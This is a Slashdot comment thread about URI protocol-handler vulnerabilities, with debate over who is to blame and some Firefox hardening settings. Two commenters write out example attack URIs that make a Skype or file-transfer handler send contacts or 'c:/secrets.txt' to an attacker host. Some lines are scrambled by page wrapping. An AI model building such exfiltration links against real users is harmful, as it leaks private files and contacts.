New URI Browser Flaws Worse Than First Thought
narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"
It is impossible to say whether this bug is really exploitable, whether it matters at all. So far they ("security researchers") can be only getting a free publicity. Is this news for nerds?
AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at. I know I shouldn't feed the trolls, but... you're a fool. This has nothing to do with AJAX or Web 2.0, this has to do with exploiting security holes that have probably been around for over a decade. But more than that: yes, AJAX is useful. When used properly, it can allow you to build a web site that is more powerful and easy-to-use than anything you could do without AJAX. Slashdot's new AJAX-based comment system is definitely an improvement, for example.
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."
Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.
Meta will eat itself
"It's a hacker's dream and programmer's nightmare," said Eric Schultze, chief security architect with Shavlik Technologies LLC. "I think over the next six to nine months, hackers are going to find lots of ways to exploit standard applications to do non-standard functions."
That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com).
The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.
I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.
The Banjo Players Must Die!
"It" doesn't work anywhere, because "it" is nothing but random speculation that an application that has registered a URI handler _might_ have a bug in it.
Sure, that's a pretty reasonable assumption, but it's idiotic to blame it on the URI handler stuff, the web browser, or the operating system.
If there is such a bug in an application that has registered a custom URI, then any fault for any bug that may or may not exist lies squarely with the makers of that application.
The title of this submission has nothing whatsoever to do with TFA.
Advanced users are users too!
AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used. It's not clever anymore, now it's just stupid.
That doesn't add much to your argument. I liked the old interface better. Maybe next we can argue about whether blue or orange is the better color.
Good thing I use Firefox and not that "URI browser". I feel safe.
Yea, that'd be pointless. Blue wins hands down.
I hate printers.
It'll be a cold day in hell before I take security advice from a bunch of crooks like Ernst & Young. Presumably there's some obscure way they can make money out of this announcement.
"Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
Hey numbnuts, I know this is /. but there is nothing that MS can do to help this, nor anything they can do to mitigate the harm. Cut it out with the vitriol. You idiots have such double standards and it's starting to make me sick. When MS does it, it gets labeled FUD. When you do it it gets labeled +1 Insightful. I mean FFS, lets cut out the crap. Now go ahead. Mod me down. I got karma to burn. Fuckers.
I hate printers.
Mind if I linked to your journal entry next time I need to write something about security? It would save me a lot of typing...
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.
/some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.
y backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.
Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest
You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/m
I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.
It doesn't have to be a bug, it just has to be a poorly-thought-out feature. For instance, a file transfer application that can be invoked from a handler, e.g. clicking sender:source=c:/secrets.txt?target=http://datathi eves.com on a web page could invoke the "sender" handler application to send your secrets.txt to datathieves.com - is this a bug, or just a stupid application doing something unfortunate?
> AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used.
h tml
Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.
HTTPXmlRequests should use those methods as described. It's not the fault of the technology,
HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.
These flaws don't need XmlHttprequest, is also likely to be a vector
There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
I am NOT sure you're NOT brindafella!!! And, perhaps, this makes your post all the funnier!!!!
This is just an expansion (or rehash) of the exploit using custom "protocol" prefixes (the http:/// part). Now I must be on different intertubes than the rest of y'all, because I hardly ever (read: never) see anything but http, ftp and mailto in the links I use, and I build both public (as in gimmicky) web sites and business apps for a living. Anything else should be handled by a browser PLUGIN, not some creaky registry hack that can spawn any random process. The difference should be obvious: you can have a thousand executables on a PC, but probably less than a dozen browser plugins, making it a lot easier to spot suspicious bits.
Why do we need so many bizarre launchers anyway ? Do people really click funky URIs in IE7 to launch the copy of Firefox that's already installed on their system ? How about a desktop icon, you stupid shits!
-Billco, Fnarg.com
> Microsoft is working to educate users and developers about these security issues
Yep. We know all about Microsoft's education*:
In no event shall microsoft or its suppliers be liable for any special, incidental, punitive, indirect, or consequential damages whatsoever (including, but not limited to, damages for loss of profits or confidential or other information, for business interruption, for personal injury, for loss of privacy, for failure to meet any duty including of good faith or of reasonable care, for negligence, and for any other pecuniary or other loss whatsoever)
[*] - http://www.microsoft.com/windowsxp/home/eula.mspx
boycott slashdot February 10th - 17th check out: altSlashdot.org
No, there is a connection to AJAX: The promise of Web 2.0 is to turn the web browser into an application host. It used to be a browser for information provided by others. It has become a framework for entering and organizing personal information. The security model of a web browser is very fragile and not at all adequate for an application which handles personal data. Everybody flogged Microsoft for trying to merge the desktop and the browser, because that creates an unmanageable mess. Now the web 2.0 crowd goes down the same path, only they don't store the data locally but put it on servers, which makes securing the data even more complicated. This particular bug does not exploit an AJAX bug, but it became possible only because the browser has become the central application on many desktops and users and developers alike found it necessary to integrate it with other applications that handle personal information. It got integrated in ways that are not acceptable for an application which has a network connection.
I just pressed on that "slashdot://it.slashdot.org" link !!!
Is your "working example" remotely installable?
I am anxious to see how these guys plan to remotely install a URI handler into the registry without any user intervention, unless they are using some other remote exploit, in which case THAT is the actual bug.
It's part of the protocol. Any link on any web page should be able to specify ANY protocol.
Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?
The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.
Non story.
This is the clear indication of problem being a Windows only:
Guess what is this mysterious "browser" thing.
May Peace Prevail On Earth
Development of great software must include a process to review and cut down on feature on each release. Otherwise it becomes a feature bloat and becomes ugly and dangerous.
Mike | Optimalprint
Don't forget Mac and Linux. The ability to register a custom protocol handler to launch programs in the OS is standard. The ability to reference said protocol handler in a hyperlink is also standard. These problems effect every (major) OS.
MacOSX has had a number of vulnerabilities due to URI handling:
Daring Fireball - Using the 'telnet' URI Protocol to Delete Files
Mac OS X Volume URI Handler Registration Code Execution Vulnerability
Apple Mac OS X SSH URI Handler Remote Code Execution Vulnerability
As long as you can get a browser to pass arbitrary data to an application you will be vulnerable. What needs to happen is that the custom protocol handlers should be white-listed by default requiring the user to explicitly allow a new protocol handler. Any protocol handler not handled directly by the browser should display a dialog to inform the user of the action and permit them to cancel it. The user needs to be aware that they're not clicking on a "normal" hyperlink.
Ultimately I think the only way to really mitigate these kinds of security problems is to sandbox or virtualize the browser, which is actually what MS has done with IE7 in Vista. Vulnerabilities are inevitable so the OS and browser should do what it can to limit the extent of the damage that can be caused.
Indeed - although I'd say that 'bad implementation' that leads to a 'security hole' qualifies as a bug. In fact, probably a priority one bug. But I'm picky about how the apps I ship treat their users' data.
Easily mitigated, too, of course, because there's no rule that says that Skype's installer has to register the same executable as its protocol handler as it uses to handle user input at the command line. Use different executables, and the risk goes away. A small protocol handling exe that validates the input, extracts the information it needs, and uses it to launch the main Skype program is not going to be a huge additional component in an installation.
Register a protocol handler in the Windows registry, and you're taking responsibility for handling any URL you're given that begins with that protocol. It's not that hard to understand. Why people keep on insisting this is somehow a flaw in Windows I don't know...
I was talking to a work-mate after posting that and he said a similar thing - it depends what you class as a bug, it could be a security bug.
;) But phpBB have a separate "security bug tracker".
IMO it wouldn't be a bug. To me a bug is something that shouldn't be happening, full stop. e.g. ability to inject data (as you can with a bad PHP script, register global variables and a specially constructed query string), ability to corrupt data or cause crashes (as you can do with a buffer overflow) or ability to bypass a security measure through some simple means (like my college's web filtering software that let you get to blockedexample.com by going to something like http://example.com/).
This, on the other hand, is just lax security or bad separation in design. It might be functionality that you want on the whole and hence a feature (as in my example) but to me registering the whole EXE is a bad choice, not checking the input when invoked in that way (if it's possible) is a bad choice, allowing the data sending without confirmations was potentially a bad choice, and so on.
Having said all that then I would still expect it to turn up in a bug tracking app
Important details have been obscured on purpose to FUD Mozilla. I'm surprised they bothered to point out it's Windoze only in the first paragraph, but here's the glaring part of the FUD:
Yet, we know that this problem was created by IE7 and does not show up on Mac or gnu/linux. Par for the course, create a problem and then blame the victim. Where have we seen this kind of M$ attack before? All over, and court proved in the anti-trust case and also in the DRDOS case.
Friends don't help friends install M$ junk.
if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.
Because we all know what a tight machine M$ gave us without help from firefox. Wake me up when this is more than a Windoze problem.
Friends don't help friends install M$ junk.
Goto about:config and
r .expose-all
set network.protocol-handler.expose-all to false,
network.protocol-handler.expose.http to true,
network.protocol-handler.expose.javascript to true,
network.protocol-handler.expose.mailto to true and
remove all other network.protocol-handler.expose.*entries (or set them to false).
Set network.protocol-handler.external-default to false,
network.protocol-handler.external.mailto to true and
remove all other network.protocol-handler.external.* entries (of set them to false).
To be sure set network.protocol-handler.warn-external.file to true and
remove all network.protocol-handler.warn-external.* entries (or set them to true).
For more info start at http://kb.mozillazine.org/Network.protocol-handle
Beware, on windows things are different. See http://kb.mozillazine.org/Register_protocol
Yes, but does it run on Linux :)
What do you consider to be the Linux standard for registering URI schemes in? Mailcap? Facilities specific to KDE or Gnome, like those provided in Konqueoror? Or Firefox's helper application registration?
I don't think Linux is immune to this sort of problem, but it seems like this is one place where the diversity of the desktop on Linux helps quite a bit. I am having a hard time coming up with a realistic way for this to be a problem for a user who runs Windowmaker or FVWM and doesn't install software from really odd sources.
Preventive War is like committing suicide for fear of death. - Otto Von Bismarck
The problem is that there's no way on Windows or OSX to register a protocol handler for shell programs (Finder, Windows Explorer, the KDE file manager) or applications internal use (help: on both Windows and OSX) without it also being available to the web browsers. This means that any application that isn't designed to deal with untrusted input that the browser developer hasn't yet explicitly blocked is a point of entry.
Exploits using this approach have been found via IE since 1997, and via Safari since 2004.
I've been talking about this kind of problem in Windows and the HTML control since the late '90s, and in OSX and LaunchServices since 2004. It's worse in Windows, because you have the same stupid lack of security design in ActiveX which is a much harder nut to crack...
...
http://www.scarydevil.com/~peter/io/apple.html and later posts in http://www.scarydevil.com/~peter/io/
The articles on my site are primarily about Apple, mostly because Microsoft has similar vulnerabilities discovered at far too great a rate for me to keep up. There was a patch for another one (an ActiveX component used by other programs not being explicitly blocked by the HTML control) on Tuesday.
This is the clear indication of problem being a Windows only:
Guess what is this mysterious "browser" thing.
Are you trying to subtly imply that it isn't Opera ? Why I am shocked !May contain traces of nut.
Made from the freshest electrons.
From the article (and not mentioned at all in the summary for some reason):
'These URI issues are complicated, even for software developers. Mozilla Corp. initially thought that Larholm's bug needed Internet Explorer in order to be triggered, but this assessment turned out to be wrong, and two weeks later the Firefox team was forced to patch the same problem. "If an organization like Mozilla is having issues with understanding how a URI handler increases the scope and the attack surface of their applications, think about how hard it is for a small development shop," McFetters said.
Microsoft is working to educate users and developers about these security issues, but there's only so much that it can do, said Mark Griesi, a security program manager with Microsoft.'
There are 1.1... kinds of people.
Except that as far as I can tell, it's the WinXX OS kluges that are allowing the security breaches to access system resources. Correct me if I am wrong but wasn't it a Mr. Bill Gates told the world that security was now the number #1 priority at Microsoft a few years back.
Companies that speak with forked tongues deserve to have said tongue cut off, don't you think?
...Open Source isn't the only answer -- but it's almost always a better value than the alternatives...
Griesi said that he does not see any of these URI issues as something that needs to be fixed in Windows or Internet Explorer. That's up to the individual software developers whose programs may be misused. "Security is an industry responsibility and this is certainly a case of that [principle]," he said. "It's not Microsoft's position to be the gatekeeper of all third-party applications."
100% wrong. Microsoft doesn't provide a mechanism for applications to create both secure URI handlers for browsers as well as shell URIs for internal use. If they did, if they had a way to register components (URI handlers, file type handlers, Plugins, ActiveX controls, and so on) for use by shells (eg, Windows Explorer) only, or for use by browsers only, then we would have seen significantly fewer exploits on Windows over the past decade.
This is harder for Microsoft to fix than for Apple to fix, because in Windows the HTML control is the gatekeeper... not the application. Apple hasn't integrated Webcore as far as IE, and since Webcore is based on KHTML it's using the inherently secure IO Slave model rather than leaving it up to the HTML display engine to try and guess what plugins should be allowed.
But it DOES need to be fixed on both platforms.
IMO, only when it leads to unexpected behaviour. In this situation it might be expected behaviour, but behaviour that shouldn't sensibly have been made public. That makes it a security issue and a bad design decision, but not necessarily a bug (under my interpretation of 'bug' in software)
e shold=-1&commentsort=0&mode=thread&pid=20248365#20 248719 for my longer response.
See http://it.slashdot.org/comments.pl?sid=271163&thr
AC: Mod, mod! I have something insightful to say!
Mod: Shut up, post under your name or get lost.
I hate printers.
Write 100 times on the whiteboard:
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
Does he need to do that because of this URI Browser exploit? Inquiring minds would like to know.
Er... Wait a minute! Excuse me sir, I believe that you are replying to the wrong story.
M$ Defender, Macthorpe claims what M$ won't directly:
Surprisingly it's not a problem if Firefox isn't installed.
Not even this highly spun article goes that far.
So IE, mentioned as "a browser", sends the crap to Firefox and will do the trick on it's own. Also, as we have seen before, this was not a problem before IE7.
Friends don't help friends install M$ junk.
This is part of what is required when registering a browser on that OS. It's pretty important if you want to set Firefox as the default browser.
IE, this is a "shell" URI that should not be visible to non-trusted content *at all*.
There need to be separate registries for this.
OS X has the same problem, though at least there it doesn't include any equivalent to ActiveX, and the KHTML-based API makes it easier to implement a fix.
http://www.scarydevil.com/~peter/io/apple.html
Here is Billy & Nate's blog
You can look around for the additional information they have.
-h
I was relying to another story, I didn't read this one prior to my post. Very weird.
Sorry about the writing. Robot fingers, you know? Cliff Steele in DOOM PATROL #23
I'm curious as to what it is about the old interface that you prefer, or what about the new interface that you don't like. AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used. It's not clever anymore, now it's just stupid. I agree that HTML wasn't meant to be used in this way, it IS used this way now, and it does a reasonable job. Besides, the alternative is proprietary applications that only run on certain platforms and don't work half the time. If that's the alternative, I fail to see how AJAX is stupid.
Of course, any technology can be used for stupid purposes. But that's really not an issue of technology, is it?
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
In other words, it's a backdoor in the URI handler for Windows, and Microsoft is "educating" everybody to scrub inputs before passing things off to the backdoored handler.
Great. MS became the "gatekeeper" to all networking security bugs in their OS when they integrated IE into the operating system back in 1997. This is easily fixed by not allowing the URI handler in the OS to behave strangely when given specific inputs (such as %00 and " ).
In short, Microsoft should remove the backdoor. 'Nuff said.
--
Toro
It might be further improved to distinguish between clicked links and automatically triggered opens (like pop-up blocker does).
You can stop trying to imply that this is some sort of sabotage by Microsoft, considering they'd be sabotaging themselves in the process. No different to your dumb claim that they "sabotaged" ACPI.
It's nice of you to concede the destructive effects of this kind of competition. I would never argue that it's anything but self defeating for M$ but that does not keep them from doing it again and again.
A company that's been convicted of anti-competitive practices in several lawsuits has earned reasonable suspicion when things break. It was Bill Gate's dumb idea to sabotage ACPI, and that came out in the Iowa Consumer Case. The DRDOS case, (also see p36 here), is a good early example of the overall behavior. They sabotaged a competitor then filled BBSs with astroturf that blamed the victim. Just for you, dedazo, I've made a nice list of more recent sabotages here. The victims include iPod, Firefox, Google Desktop and anti-virus makers and the FUD hate machine is cranked up to full blast in all of those cases.
The big suck of software sabotage is that it always degrades the user experience. The obvious result is that the user loses their choice of software and is forced to use something second rate. Less obvious results are performance hits in what's left. Sabotage demands extra branching and checks that take time and introduce errors of their own. The legacy of this kind of "competition" is complex file formats, insane APIs, and a system that's feature poor, expensive, unreliable and lacks real choices. Even when M$ wins this game without shooting themselves in the foot, they lose.
Friends don't help friends install M$ junk.
Tell that to the moderators. Until the new comment system I never made a moderation error. With the new system as soon as I select a moderation for a comment it gets applied. Recently I was moderating and I accidentally moved my mouse over the wrong rating (I meant insightful, but accidentally hit redundant); there was no way (as far as I could tell) to undo this mistake.
With the old system you selected mods for all comments in a discussion you wanted to moderate, then clicked "moderate." That way if you selected the wrong moderation it wasn't instant. Maybe I should turn off the new comment system when I'm moderating, but the simpler solution would be to give me an option (is there one?) to turn off 'instant moderation.'
Please reply if there's a way to make sure I don't do that again, as it bums me out when someone is unjustly moderated simply due to a combination of bad design and human error.
-HobophobE
Nothing laughs forever.
where the vector I forgot to escape is :
There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
Yeah, that is a problem. I haven't done it yet, but there should be some kind of confirmation. They could keep the existing concept and just add a JavaScript confirm() dialog, or they could add an extra button you have to click next to the menu. As far as I know, there's no way to change a moderation, other than posting to undo all moderations to that article as the AC mentioned.
Easy to fix. Just hasn't been fixed yet.
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;